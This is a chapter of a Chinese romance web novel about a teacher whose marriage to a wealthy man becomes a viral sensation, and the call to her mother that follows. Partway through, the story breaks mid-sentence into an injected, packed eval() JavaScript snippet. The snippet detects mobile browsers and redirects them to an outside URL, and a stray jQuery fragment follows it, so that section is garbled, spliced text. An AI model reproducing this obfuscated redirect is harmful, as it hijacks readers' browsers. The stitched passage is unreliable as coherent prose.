燕雪融第二天起床的时候，她的手机炸了。
正确来说是社交媒体炸了。
因为上班的生物钟，燕雪融醒来的时候还是凌晨，已经到了能一直跟身后贴过来的男人同一时间醒来的时候了。
这在读大学时的燕雪融来说无法想象。
也不知道该感谢老师这份工作还是该抱怨了。
她费力从男人背后环过来的精壮手臂上伸出手，去探床头柜上的手机。
就在燕雪融还在划开锁屏时，源源不断的消息还在从她的手机上弹出。
燕雪融定睛一看。
几乎都是以前曾经大学认识的同学、学生会的同事。
甚至还有好几个私立学校工作的同事也给她发的消息。
燕雪融率先点开了置顶之一的608寝室群。
【白嘉楠：妈呀！！！！！！！】
【白嘉楠：[照片][照片][照片]你们两个人大晚上的放大招？！在朋友圈官宣不照顾好亲友独家新闻生意！！！！】
【白嘉楠：你们两个突然官宣得这么快！！！但是不让我赚钱！！！燕雪融你快出来！我要和你绝交十分钟！！】
【王书琴：哇哦，那你好有骨气哦。】
【孙晶晶：我的天啊！！你们快看热搜！】
【孙晶晶：热搜比我们今天剧组买的那个热搜还高！直接爆表了！】
【孙晶晶：等一下！这件事后续不太对劲啊！】
【白嘉楠：——！！我也发现了！我先去找找能不能帮忙公关的人脉！】
【王书琴：没事，已经没了。】
【白嘉楠：？衡旭这么快吗？】
燕雪融觉得有些诡异，看了一眼。
发现上面还有一条消息来自同办公室的章老师。
【章老师：燕老师没想到你老公是这么一号人物啊！】
【章老师：咦，燕老师，热搜上面说的那些故事都是真的吗？】
【章老师：燕老师，怎么那么消息这么快就没有啦，是不是有什么误会？】
【章老师：燕老师，我刚刚说的事情你都别往心里去哈，我就是什么都不清楚，我有个亲戚在衡氏旗下的其中一个公司里当小文员，所以有些好奇而已！】
【章老师：燕老师，不好意思啊，我不是故意来问你消息的，真的打扰了，还有之前在办公室里让你代课的事情，我也非常抱歉。】
燕雪融看了一眼过去，差点没被章老师的来回反转震惊。
她只好在608寝室的群里问了一声。
此时群里几乎都没有睡醒的，燕雪融只好按自己的记忆找关键词搜了一下。
可是等燕雪融去找关键词的时候，就已经没有任何一个词条了。
而她打开社交媒体时的热搜榜单，已经换成了孙晶晶她们昨晚的综艺路透，还有她们剧组售后的直播晚会。
但她还记得来源。
燕雪融连忙打开衡旭的朋友圈。
上面的第一条就是他们两个人结婚证上的证件照。
她瞪大眼睛。
什么时候发的？！
等等。
燕雪融猛地在记忆中不断搜寻。
似乎昨天晚上，她做得迷迷糊糊的时候被男人一边磨一边哄着说了什么“结婚证”、“官宣”……
当时的燕雪融已经困得不行了。
困意与欢愉同时交织席卷，明明大脑已经开始困倦，她的身体却像是一种带有生理性吸引的契合，忍不住就开始回应。
又被男人不紧不慢的细微折磨闹得难受。
这个时候反而更希望衡旭给她一个痛快——即使每次她都有些吃力，甚至偶尔在多次的绽放中感到一股难以言喻的失控。
这部分记忆对她来说已经非常模糊。
但燕雪融最后还是记得，不管是哄了什么，反正她好像是真的亲口答应了……
“醒这么早？”
背后声音传来。
男人沙哑的嗓音磨在燕雪融的耳边，从身后贴过来嘟囔了一句。
“可以再睡一会儿。”
“衡旭，你昨晚什么时候发的结婚证——”
燕雪融余光看见窗外，瞬间愣了愣。
她连忙伸手拍了拍旁边的衡旭。
“快醒醒。”
“外面下雪了。”
怀里柔软的妻子瞬间被换成了空荡荡的冰冷的枕头。
原本睁着眼睛的衡旭瞬间愣了愣：“？”
燕雪融已经套上了一件很薄的外套打开窗户。
伸手去接了一片非常标准的雪花。
“我还是更喜欢这里。”
不像她当时留学的那个国家。
燕雪融从第一年开始，就做不到用多余的心思欣赏那个国家的雪。
因为太冷了。
刺骨的冷，冷到她无法对那片雪白的景色与凋零的白桦林有任何多余的浪漫构思。
在那个地方，一切的美好想象都只能化为冰冷又悲观的笔，不断向上天祈祷些许的温暖来临。
不像现在的燕雪融。
从温暖的暖气房中睡醒。
连雪花的存在都没能第一时间察觉。
“好看。”
衡旭从背后将她环住。
“昨晚的事情是你亲自答应的，不能反悔。”
燕雪融：“……好吧。”
随着睡醒后大脑的唤醒，燕雪融也终于真正想起，昨天晚上她确实一字一句答应了。
但是——
“我们下次能不能不要在……在……”
燕雪融的脸都有些憋红了，在雪天的反射下看上去白里透红的，整张脸都像是晶莹的霜。
“不要在那种时候商量事情，不行吗？”
“嗯？”
男人漫不经意地藏着笑意：“那种事情……哪种事情？”
“就——！”
“你答应了，我服务了。”
衡旭闲庭信步地走向浴室位置。
却在进门之前回头看了一眼燕雪融。
她看见男人伸手在唇边摩挲片刻，似在回味。
“这笔交易……很公平。”
“！！！”
燕雪融正要生气，下一秒，手机屏幕上闪烁起来。
她刚低头的瞬间——
“衡旭。”
男人从浴室里出来。
看见面色有些僵硬无措的燕雪融。
燕雪融举着手机。
“怎、怎么办？是妈妈的电话……”
衡旭戏谑上扬的唇角瞬间压平。
·
燕雪融难得有一次主动请假。
学校那边批得很快，就连燕雪融的级长在帮忙找老师代课时，还向她问了一句打算请假多少天。
燕雪融：？
“一天。”
挂断电话的燕雪融忽然有种……回到了以前大学的时候。
她刚利用着衡旭的名头，不管是找兼职，还是在衡旭当时名下有参与投资的那家酒吧里工作，都能得到相当多的优待。
现在又再次有这样的感觉。
燕雪融哭笑不得。
但内心仍然忐忑。
阳台外面，男人正靠着阳台外面，手上的电话一直挂在他的耳边，偶尔能看见衡旭从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159890|169141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
其中一边换成了另外一边位置。
燕雪融看得心跳都要出来了，但衡旭反而看上去非常轻松。
就像此时并不是跟妻子的母亲聊天。
而是正在阳台附近跟好友小酌唠嗑。
看得燕雪融反而替他紧张。
衡旭推开窗户走进来。
燕雪融连忙追上来：“怎、怎么样……？”
她小心翼翼地看过来，衡旭轻轻在她肩膀上拍了拍，像是安抚似的。
“给妈妈回个电话就好。”
燕雪融还是忍不住试探着问：“……真、真的还好吗？”
“没事的。”
衡旭笑了一声。
“妈妈应该没生气。”
真的假的？
燕雪融有些狐疑地看着手机，最后一个人钻进了房间，给周慧秀打了个电话。
“……妈妈？”
“你真是女大不中用了啊？！！”
划破天际的声音从燕雪融的手机里迸发了出来。
“你还真是长胆子了啊？！现在都敢直接不告诉父母就去领证了？！”
明明眼前只有燕雪融一个人，更别说周慧秀本身远在另一个遥远的省份。
但她还是被吓得肩膀都缩起来。
“妈妈……”
燕雪融小声开口：“妈妈我错了——”
她突然想到。
“为什么刚刚衡旭跟我说你没有生气？”
“女儿跟女婿那能一样吗，啊？！”
周慧秀洪亮的声音几乎能穿透整个房间。
但燕雪融这么一听她说话，反而安心了很多。
脸上还能挂着笑容。
每次能听见妈妈这样生气，说明妈妈其实没有真的生气。
——至少不是那种真正的生气。
燕雪融连忙撒娇：“妈妈我真错了，我真不是故意的。”
“因为太匆忙了，最近都在忙着工作，其实谁也没有告诉。”
“你看你……”
电话另一头长长地叹了一口气。
“也不知道你们这些孩子……你这么冲动，真的没事吗？”
燕雪融的情绪也终于平复下来了一点。
听到妈妈这么说，心里一片温暖。
说到底，周慧秀再着急也是因为关心她、心里有她，所以才会这么着急。
燕雪融不会觉得难过。
只是忽然又想起了周慧秀。
虽然燕雪融并不喜欢那个城市，但是想起了妈妈，还有妈妈亲手种下的那块田。
她有点想回去看看妈妈了。
燕雪融坐在床边：“妈妈，你放心吧，我们不是贪图有趣才领证结婚的。”
“跟衡旭结婚之后，我每一天都不后悔。”
周慧秀只是叹了一声：“其实只要你们幸福开心，就比什么都强。”
“既然是这样，那就说好了。”
“看看什么时候带衡旭过来吃顿饭。”
燕雪融愣住：“真、真的？”
“不然呢？！”
周慧秀一声怒吼：“都结婚了不见家长怎么行！还有男方的家长！就算女婿是衡旭那也不能例外！不然别人家里还以为你没有娘家撑腰怎么办？！”
燕雪融这才连忙哄着妈妈说好，只要有时间就立刻安排。
她从房间走出去，衡旭在客厅上看书，她一把抱过去捏住了男人的脸颊。
“你和妈妈说了什么？”
衡旭反手捏回来，但力度明显比燕雪融还轻了很多。
“只是说了我们是两情相悦结的婚。”
“岳母会知道的。”